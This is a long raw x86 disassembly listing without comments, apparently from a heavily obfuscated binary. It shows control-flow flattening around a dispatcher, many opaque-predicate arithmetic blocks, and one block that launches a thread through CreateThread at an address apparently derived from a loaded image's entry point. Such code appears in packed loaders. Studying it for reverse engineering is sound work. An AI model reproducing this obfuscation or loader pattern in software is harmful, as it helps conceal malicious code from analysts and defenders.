ror esi, 0x6c
sbb ebx, 0xe8
dec edi
or edx, 0xf1
inc eax
neg esi
not eax
and esi, 0x6c
imul edx
neg esi
or ebx, 0xf6
inc eax
rol eax, 0x91
or edx, 0x72
rol eax, 0x45
dec edi
mov eax, 0x366ed480
jmp 0x40dc90
mov eax, 0x53d8068
jmp 0x40dc90
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x31e432ce
and eax, 0xce1bcd31
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x813b3e4
and eax, 0xf7ec4c1b
or ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0x2976802a
xor esi, 0xc6087ed5
xor ecx, 0x69bc9fe3
and ecx, esi
and eax, 0xe97ef26b
and esi, 0x16810d94
or esi, eax
mov eax, esi
xor eax, 0xa934e022
mov edx, esi
xor edx, 0x4000010
or eax, 0x504b1ec9
and edx, 0xad24e012
mov edi, eax
and edi, 0x52d91d24
or edx, edi
mov edi, ecx
not edi
and ecx, 0xad26e2db
or eax, edi
and edi, 0x52d91d24
or ecx, edi
not eax
mov edi, 0xaae15ca4
xor ecx, edx
mov edx, esi
xor edx, 0x12000990
xor esi, 0x48127248
or eax, ecx
and esi, 0x4c93764c
and edx, 0xb36c89b2
mov ecx, eax
not ecx
and eax, 0x8250455c
or edx, esi
and ecx, 0x7dafbaa3
or eax, ecx
mov ecx, eax
xor ecx, 0x1642401
xor eax, 0xd21b5b94
mov esi, eax
and esi, 0x3e80897e
and ecx, 0xc17f7681
or ecx, esi
mov esi, edx
xor esi, 0x816c0080
xor edx, 0x4c93764d
or eax, edx
and edx, 0x3e80897e
and esi, 0xc17f7680
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x4b5fe4f1
mov ecx, eax
not ecx
and eax, 0x7694a7dd
and ecx, 0x896b5822
or eax, ecx
mov ecx, eax
xor ecx, 0x74802045
xor eax, 0x88690820
and ecx, 0x75827047
and eax, 0x8a7d8fb8
or eax, ecx
xor eax, 0x8a7d8fb8
setne dl
sete ah
cmp dword [0x497380], 0xa
setge al
setl cl
mov ch, al
and cl, dl
xor ch, ah
and ah, al
and ch, al
xor al, dl
or cl, ah
or al, ch
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xaae15ca4
jmp 0x4122dd
mov eax, dword [0x497384]
mov esi, 0xb56f0fd6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xa7d7c05d
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xa7d7c05d
or eax, edx
mov edx, eax
not edx
and eax, 0xf213d22a
and edx, 0xdec2dd5
or eax, edx
xor eax, 0xaa3bed89
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x497380], 0xa
setl dl
setge ah
and ah, cl
and al, dl
or al, ah
mov ah, dl
xor dl, cl
or ah, cl
xor ah, 1
or dl, ah
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
mov ah, cl
mov ch, cl
or cl, al
xor al, 1
xor ah, 1
and ch, al
xor cl, 1
xor al, ah
and dl, ah
or cl, al
or dl, ch
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x95122f16
cmovne esi, eax
test cl, 1
mov eax, 0xb56f0fd6
jmp 0x412c31
mov eax, dword [ebp - 0xa4]
mov eax, 0x659b461a
jmp 0x402780
cmp byte [ebp - 0x93], 0
mov eax, 0x6ef64196
mov ecx, 0x9778fa54
cmovne eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx]
add eax, eax
mov word [ecx], ax
mov eax, 0xbc654a2d
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xe04977da
and ecx, 0x1fb68825
or eax, ecx
mov esi, eax
xor esi, 0x200866d2
xor eax, 0x2040801
and eax, 0xc2451909
and esi, 0x3dbae6f6
or esi, eax
mov ecx, esi
xor esi, 0x30b02604
xor ecx, 0xc2451909
mov edx, ecx
and esi, 0xb2f12e0d
and edx, 0x4d0ed1f2
and ecx, 0x77c64ea
or edx, esi
mov esi, edx
mov eax, edx
xor esi, 0x4d0ed1f2
xor eax, 0x4a72b518
xor edx, 0x22e0220c
and eax, esi
or esi, 1
and edx, 0x2fe032ac
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xf8839b14
and eax, 0x77c64eb
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x2fe032ac
mov edi, eax
or eax, esi
and edi, 0xd01fcd53
and esi, 0xd01fcd53
or ecx, edi
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x651a9aa3
and edx, 0x9ae5655c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9ae5655c
or eax, esi
and esi, 0x651a9aa3
or ecx, esi
not eax
mov esi, 0x118cb4c6
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x31624910
and ecx, 0xce9db6ef
or eax, ecx
mov ecx, eax
xor ecx, 0x20404110
xor eax, 0xc9c0428
and eax, 0x1dbe0c28
and ecx, 0xe241f3d7
or ecx, eax
cmp ecx, 0xe241f3d7
sete cl
cmp dword [0x497380], 0xa
mov eax, ecx
setl dl
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
or cl, al
xor al, 1
xor dl, 1
xor ah, al
xor cl, 1
or dl, ch
or cl, ah
xor dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x609b0463
cmovne eax, esi
test cl, 1
mov ecx, 0x609b0463
cmovne ecx, eax
test dl, 1
jmp 0x402777
mov eax, dword [0x497384]
mov edi, 0x50874cf5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x95b23915
and eax, 0x6a4dc6ea
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xe1648710
and eax, 0x1e9b78ef
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x44400204
xor eax, 0x8b2941fa
xor edx, 0x8b2941fb
and edx, eax
and ecx, 0x44484314
and eax, 0xbbb7bceb
or eax, ecx
xor eax, 0xbbb7bcea
or eax, edx
mov esi, eax
or esi, 0x3838a5c2
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x85c65a31
and ecx, eax
and esi, 0x3d7afff3
and edx, 0x80840000
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc285000c
or eax, esi
and esi, 0x3d7afff3
or ecx, esi
not eax
mov esi, 0xe704754f
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x7a39a5ce
and eax, 0x85c65a31
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x361a6c9d
mov edx, ecx
and edx, 0xc9e59362
or eax, edx
xor eax, 0xc9e59362
xor ecx, eax
test ecx, eax
sete cl
setne dl
cmp dword [0x497380], 0xa
setl al
setge ah
mov ch, al
and cl, ah
and al, dl
xor ch, dl
or al, cl
mov dh, ch
xor dh, ah
and dh, ch
xor al, dh
mov ecx, eax
cmovne esi, edi
not cl
test cl, dh
mov edx, 0xe704754f
cmove esi, edx
cmovne esi, edi
test al, al
jmp 0x40f147
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x40488695
and eax, 0xb040042
mov edx, ecx
or edx, 0x4b22100
and esi, 0x44faa795
and ecx, 0xb0015828
and edx, 0x44faa795
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x2464ee0d
and ecx, 0xdb9b11f2
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x6f2868da
xor ecx, 0x90d79725
xor eax, 0x73924aa6
mov esi, edx
or esi, ecx
or edx, 1
and ecx, 0x27baabca
and eax, esi
mov esi, eax
not esi
and eax, 0x10354ef
and esi, 0xfefcab10
or eax, esi
mov esi, eax
xor esi, 0x22028949
xor eax, 0x1db97692
mov edi, eax
or eax, edx
and edx, 0xd8455434
and edi, 0xd8455434
and esi, 0x27baabcb
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xe5308c7a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9b8d5253
and ecx, 0x6472adac
or eax, ecx
mov ecx, eax
xor ecx, 0x82051211
xor eax, 0x2032a1a0
and eax, 0x39bae1e2
and ecx, 0xc6451e1d
or ecx, eax
mov eax, ecx
xor eax, 0x21386102
xor ecx, 0xc6451e1d
mov edx, ecx
and edx, 0x18c290e0
and eax, 0xe73d6f1f
or eax, edx
xor eax, 0xe73d6f1f
or eax, ecx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x497380], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
and dh, ch
or dl, ah
and cl, al
xor al, ah
and al, ah
or cl, dh
xor al, 1
xor cl, 1
mov ah, al
or al, dl
or cl, ch
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0x4e5346ff
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x4e5346ff
cmovne eax, esi
test ch, 1
cmove eax, edx
jmp 0x410e50
mov eax, 0xeec2889e
jmp 0x402780
mov eax, dword [ebp - 0x1ac]
mov ecx, eax
xor ecx, 0xd205ef89
mov edx, eax
not edx
and ecx, eax
or eax, 0x2dfa1076
and edx, 0x80040181
mov esi, eax
and esi, 0x52d1ee48
or edx, esi
mov esi, ecx
not esi
and ecx, 0xad2e11b7
or eax, esi
and esi, 0x52d1ee48
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8509a385
and ecx, 0x7af65c7a
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x88f3b3f3
xor ecx, 0x570c4c0c
xor edx, 0x770c4c0c
and edx, ecx
and eax, 0xdfffffff
and ecx, 0x20000000
or ecx, eax
mov eax, edx
not eax
and edx, 0xcd47ba7e
mov edi, ecx
not edi
mov esi, eax
and esi, 0x32b84581
and ecx, 0xcd47ba7e
or eax, edi
and edi, 0x32b84581
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x928b3515
and ecx, 0x6d74caea
or eax, ecx
mov ecx, eax
xor ecx, 0x82882411
xor eax, 0x4c2440ca
and eax, 0x5c2751ce
and ecx, 0xa3d8ae31
or ecx, eax
mov eax, 0xb85dd78e
cmp ecx, 0x5c2751ce
mov ecx, 0x3df15948
cmove eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0x4c26259
jmp 0x402780
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, 0xb9bb37b
jmp 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
cmp byte [eax], 0
mov eax, dword [0x497384]
lea edx, [eax + 1]
setne byte [ebp - 0x9b]
imul edx, eax
mov eax, edx
not eax
and edx, 0x18525bf9
and eax, 0xe7ada406
or edx, eax
mov eax, edx
not eax
and edx, 0x3288702
and eax, 0xfcd778fd
or edx, eax
mov esi, edx
mov eax, edx
xor esi, 0xe4852304
xor eax, 0x1b7adcfb
xor edx, 0xd2097473
mov ecx, esi
and edx, eax
and ecx, 0xc973a888
and esi, 0x892ea0f2
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x368c5776
and edx, 0xc973a889
or ecx, edx
mov edx, eax
and edx, 0x76d15f0d
and eax, 1
or edx, esi
xor edx, 0x892ea0f3
or eax, edx
mov edx, ecx
not edx
and ecx, 0x97580a1f
mov esi, edx
and esi, 0x68a7f5e0
or edx, eax
or ecx, esi
mov esi, eax
not esi
and eax, 0x68a7f5e0
not edx
and esi, 0x97580a1f
or esi, eax
xor esi, ecx
or edx, esi
mov esi, 0xa00be431
mov eax, edx
not eax
and edx, 0x38ddf9d6
and eax, 0xc7220629
or edx, eax
xor edx, 0x38ddf9d6
setne ah
sete ch
cmp dword [0x497380], 0xa
mov al, ah
setge cl
setl dl
xor al, cl
mov dh, cl
and ah, dl
or dl, ch
and cl, ch
and al, ch
or dh, ch
xor dl, 1
or cl, ah
xor al, 1
or cl, dl
mov ebx, eax
or al, dh
mov dl, cl
xor bl, dh
xor al, 1
or al, bl
xor al, 1
xor dl, al
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x5f9c5770
cmovne ecx, esi
test al, 1
mov eax, 0xa00be431
cmovne eax, ecx
jmp 0x411434
mov eax, dword [ebp - 0x24]
mov eax, 0x49a99c41
jmp 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
mov eax, 0xe8fa186f
jmp 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xc
mov eax, 0x392333c4
jmp 0x402780
cmp byte [ebp - 0x8b], 0
mov eax, 0x737a39d8
mov ecx, 0xfa961aa3
cmovne eax, ecx
jmp 0x402780
mov eax, 0xce6d46d8
jmp 0x402780
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x497384]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xb0cc6acd
mov esi, edx
and esi, 0x4f339532
and edx, 0x819a096e
or ecx, esi
mov esi, ecx
xor ecx, 0x47128510
xor esi, 0x88
or ecx, 0x98ed3822
and esi, 0x3000098
mov edi, ecx
and edi, 0xf496c765
or esi, edi
mov edi, eax
xor edi, 0x6712c7dd
and edi, eax
and eax, 0x7e65f691
mov ebx, edi
not ebx
and edi, 0xb69389a
or eax, edx
or ecx, ebx
and ebx, 0xf496c765
mov edx, eax
xor edx, 0x7e65f691
xor eax, 0x819a096e
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x6712c7dc
and esi, 0x98ed3823
or ecx, esi
mov esi, 0x4e5346ff
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete ch
setne ah
cmp dword [0x497380], 0xa
setge cl
setl dl
mov al, cl
mov dh, dl
and cl, ch
xor al, ah
or dh, ah
and al, ah
and ah, dl
or dl, ch
xor dl, 1
or cl, ah
xor al, 1
or cl, dl
mov ebx, eax
or al, dh
mov ah, cl
mov dl, cl
xor bl, dh
xor al, 1
xor ah, 1
or al, bl
and dl, ah
xor al, 1
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xd460b025
cmovne eax, esi
test dl, 1
mov edx, 0xd460b025
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x8d5dca9c
and ecx, 0x72a23563
or edx, ecx
xor edx, 0x8d5dca9c
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x32101185
and edx, 0xcdefee7a
or edx, esi
mov esi, ecx
not esi
and ecx, 0xcdefee7a
or eax, esi
and esi, 0x32101185
or ecx, esi
not eax
mov esi, 0x1a044da9
xor ecx, edx
or eax, ecx
setne dl
sete ah
cmp dword [0x497380], 0xa
setl al
setge ch
mov cl, al
or ch, ah
or cl, dl
xor dl, al
or al, ah
mov dh, ch
xor dl, 1
xor al, 1
xor dh, cl
or cl, ch
or al, dl
xor cl, 1
mov dl, al
or cl, dh
xor dl, 1
mov ah, cl
mov ch, dl
or dl, cl
xor cl, 1
and ah, al
and ch, cl
xor cl, al
xor dl, 1
or dl, cl
or ah, ch
mov ecx, 0xf0232eca
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, 0xf0232eca
cmovne edx, ecx
test ah, 1
jmp 0x41247f
mov eax, dword [ebp - 0x20]
mov esi, 0xa94f742
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 6
mov dword [ebp - 0x144], eax
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xbac69d8b
and eax, 0x45396274
or ecx, eax
mov eax, ecx
xor eax, 0x80408102
xor ecx, 0x45084234
and ecx, 0x7f8e5ebd
and eax, 0x8071a142
or eax, ecx
mov ecx, eax
xor eax, 0x8071a142
xor ecx, 0x7f8e5ebd
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov edx, ecx
xor edx, 0x53dd44cb
mov eax, ecx
not eax
and edx, ecx
or eax, edx
not edx
and edx, 0xac22bb34
and eax, 0x53dd44cb
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc2af7b65
and ecx, 0x3d50849a
or eax, ecx
xor eax, 0x3d50849a
sete dl
setne ah
cmp dword [0x497380], 0xa
setge cl
setl al
and ah, al
and cl, dl
or al, dl
or cl, ah
mov edx, eax
mov ah, cl
mov dh, cl
xor ah, 1
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov dl, al
xor dl, 1
mov ch, dl
xor dh, dl
or dl, cl
and cl, ah
xor cl, 1
and ch, al
xor dl, 1
mov ebx, ecx
or cl, ah
xor ch, 1
or dl, dh
xor bl, ah
xor cl, 1
mov ah, ch
or ch, al
or cl, bl
xor ah, al
xor ch, 1
mov al, cl
or ch, ah
xor al, 1
and al, ch
xor ch, 1
and ch, cl
or ch, al
mov eax, edx
xor al, ch
test al, 1
mov eax, 0x5c79aa04
cmovne eax, esi
test dl, 1
mov edx, 0x5c79aa04
cmovne edx, eax
test ch, 1
jmp 0x411b18
mov eax, dword [ebp - 0x1b0]
mov edx, eax
not edx
mov ecx, eax
or ecx, 0xb2042000
mov ebx, eax
and ebx, 0x44010000
and eax, 0x9bdca970
mov esi, edx
or esi, 0x8a288a1
mov edi, edx
and ecx, 0xbaa6a8a1
and edi, 0x158575e
and edx, 0x6423568f
and esi, 0xbaa6a8a1
or edi, ecx
or eax, edx
or ebx, esi
xor ebx, edi
mov esi, ebx
not esi
and ebx, 0x49fadfff
and esi, 0xb6052000
or ebx, esi
mov esi, ebx
not esi
mov edx, ebx
and edx, 0x22490593
and esi, 0xddb6fa6c
or esi, edx
mov edx, eax
xor edx, 0x9994a860
xor eax, 0x6423568f
or ebx, eax
and eax, 0x22490593
and edx, 0xddb6fa6c
or edx, eax
not ebx
mov eax, 0x68415f4
xor edx, esi
or ebx, edx
mov edx, 0x15f16698
cmp ebx, 0xffffffff
cmove eax, edx
jmp 0x402780
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0xb4], eax
mov eax, 0xfae0e08b
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xe3206792
and eax, 0x1cdf986d
or edx, eax
xor edx, 0xe3206792
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x85c445aa
and ecx, 0xf126d900
mov eax, esi
and esi, 0x7a3bba55
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xed926fe
or ecx, esi
mov esi, edx
xor esi, 0x81044101
xor edx, 0x7a3bba54
or eax, edx
and edx, 0xed926fe
and esi, 0xf126d901
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8c58680c
and eax, 0x22020503
mov edx, ecx
and edx, 0x100000b0
or ecx, 0x8c580084
or esi, edx
and ecx, 0xcdfd92c4
mov edx, esi
xor edx, 0x6808
xor esi, 0x41a592c0
or eax, ecx
and esi, 0xcdfd92c4
and edx, 0x10006838
or edx, esi
mov esi, 0xf5594600
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xcf3ef53a
and ecx, 0x30c10ac5
or eax, ecx
mov ecx, eax
xor ecx, 0x43641880
xor eax, 0xac996279
mov edx, eax
and edx, 0x9c1ac516
and ecx, 0x63e53ae9
or ecx, edx
xor ecx, 0x63e53ae9
or ecx, eax
cmp ecx, 0xffffffff
sete dl
cmp dword [0x497380], 0xa
setl ah
mov al, ah
mov cl, ah
or al, dl
xor cl, dl
xor al, 1
and dl, cl
or al, cl
and cl, ah
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or ah, al
or dl, cl
mov al, ah
mov ecx, 0x3af833af
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
not al
cmove ecx, esi
test al, 1
mov eax, 0x3af833af
cmovne ecx, eax
mov eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, 0x8568a6e9
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0x8a8712a2
and ecx, 0x7578ed5d
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0x86c501e8
and edx, 0x793afe17
or eax, edx
mov edx, eax
xor edx, 0x2850140
xor eax, 0x793afe17
mov esi, eax
and esi, 0xf4709aac
and edx, 0xb8f6553
or edx, esi
mov esi, ecx
xor esi, 0x1086551
xor ecx, 0x8a8712a2
or eax, ecx
and ecx, 0xf4709aac
and esi, 0xb8f6553
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x5abd9612
mov ecx, eax
not ecx
and eax, 0xb7846761
and ecx, 0x487b989e
or eax, ecx
xor eax, 0xb7846761
setne dl
sete ch
cmp dword [0x497380], 0xa
mov ah, dl
setl cl
setge al
and ah, al
and cl, ch
xor dl, al
or cl, ah
and dl, ch
xor cl, 1
or cl, al
or al, ch
mov ah, cl
xor al, 1
xor ah, 1
or al, dl
mov dl, ah
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
xor dl, 1
mov cl, ah
or dl, ch
xor cl, al
xor dl, al
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x21602eff
cmovne ecx, esi
test al, 1
mov eax, 0x21602eff
jmp 0x4120c2
mov eax, dword [ebp - 0x34]
mov eax, 0xa672e52b
jmp 0x402780
mov eax, 0x159b747d
jmp 0x402780
mov eax, 0xe6686dcb
jmp 0x402780
mov eax, 0xd64b9b5
jmp 0x402780
mov eax, dword [ebp - 0x88]
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xe4014444
mov esi, edx
and esi, 0x10101000
and edx, 0x31e64395
or ecx, esi
mov esi, ecx
xor esi, 0xc4004404
xor ecx, 0x1bfebbbb
mov edi, ecx
and edi, 0x3bed8078
and esi, 0xc4105404
or esi, edi
mov edi, eax
xor edi, 0xf4115444
and edi, eax
and eax, 0xce19bc6a
mov ebx, edi
not ebx
and edi, 0xc4127f87
or eax, edx
or ecx, ebx
and ebx, 0x3bed8078
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xd23940e0
and esi, 0x2dc6bf1f
or ecx, esi
mov esi, ecx
xor ecx, 0xd9d34a02
xor esi, 0x262814a5
mov edx, esi
and edx, 0x2cb57d
and ecx, 0xffd34a82
or ecx, edx
mov edx, eax
xor edx, 0xce110802
xor eax, 0x31e64395
or esi, eax
and eax, 0x2cb57d
and edx, 0xffd34a82
or edx, eax
not esi
xor edx, ecx
or esi, edx
xor esi, 0xffffffff
mov esi, 0x5f9c5770
sete ah
setne cl
cmp dword [0x497380], 0xa
setge al
mov ch, al
xor ch, cl
or cl, al
or al, ah
and ch, ah
xor al, 1
mov edx, ecx
or al, ch
xor dl, 1
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x46f86ab1
cmovne eax, esi
test dl, dl
mov edx, 0x46f86ab1
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402780
mov eax, dword [ebp - 0x48]
mov dword [eax], 4
mov eax, 0x8a5bb1a5
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x808040e9
and eax, 0x361a010
mov edx, ecx
and edx, 0x7c1c0106
or ecx, 0xc8080026
or esi, edx
and ecx, 0xc80a1e26
mov edx, esi
xor edx, 0x8040c9
xor esi, 0x480a1e06
or eax, ecx
and esi, 0xc80a1e26
and edx, 0x349441c9
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xeaece96b
and ecx, 0x15131694
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xe98f577b
xor ecx, 0x1670a884
xor eax, 0x19ccaa61
mov esi, edx
or esi, ecx
or edx, 1
and ecx, 0xdc55493c
and eax, esi
mov esi, eax
not esi
and eax, 0x53460a34
and esi, 0xacb9f5cb
or eax, esi
mov esi, eax
xor esi, 0x5c500810
xor eax, 0xa305f72f
mov edi, eax
or eax, edx
and edx, 0x23aab6c2
and edi, 0x23aab6c2
and esi, 0xdc55493d
or esi, edi
or ecx, edx
not eax
mov edi, 0xbd4d5e87
xor ecx, esi
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x6ebe689d
and eax, 0x91419762
or ecx, eax
mov eax, ecx
xor eax, 0x260c2811
xor ecx, 0x91419762
mov esi, ecx
and esi, 0x58b342ee
and eax, 0xa74cbd11
or eax, esi
mov esi, edx
not esi
and edx, 0xa74cbd11
or ecx, esi
and esi, 0x58b342ee
or edx, esi
not ecx
mov esi, 0xaef9de34
xor edx, eax
or ecx, edx
sete cl
setne dl
cmp dword [0x497380], 0xa
mov dh, cl
setl ah
mov al, ah
xor dh, ah
xor dl, ah
or al, cl
and cl, dh
and dh, ah
xor dl, 1
mov ah, cl
xor cl, dh
xor dh, 1
xor al, 1
xor ah, 1
or al, dl
or dh, ah
xor al, 1
xor dh, 1
or dh, cl
xor dh, al
mov cl, dh
test dh, 1
not cl
cmovne esi, edi
test cl, al
mov ecx, 0xaef9de34
cmove esi, ecx
cmovne esi, edi
test dh, 1
cmovne esi, edi
mov eax, esi
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xd00002
and ecx, 0x5709d28d
or edx, ecx
mov ecx, eax
xor ecx, 0x57d9d28f
xor edx, 0xd00002
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x57d9d28e
and edx, 0xa8262d71
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xaef9de34
xor edx, ecx
test edx, ecx
setne dl
sete ah
cmp dword [0x497380], 0xa
setl ch
setge al
or ch, dl
mov cl, al
or al, ah
mov dl, ch
xor cl, ah
xor dl, al
or al, ch
and cl, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
mov ch, ah
xor ah, dl
and dl, al
or al, cl
xor al, 1
and ch, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x2fdb10cc
cmovne ecx, esi
test al, 1
mov eax, 0x2fdb10cc
jmp 0x40f68a
mov eax, dword [ebp - 0x2c]
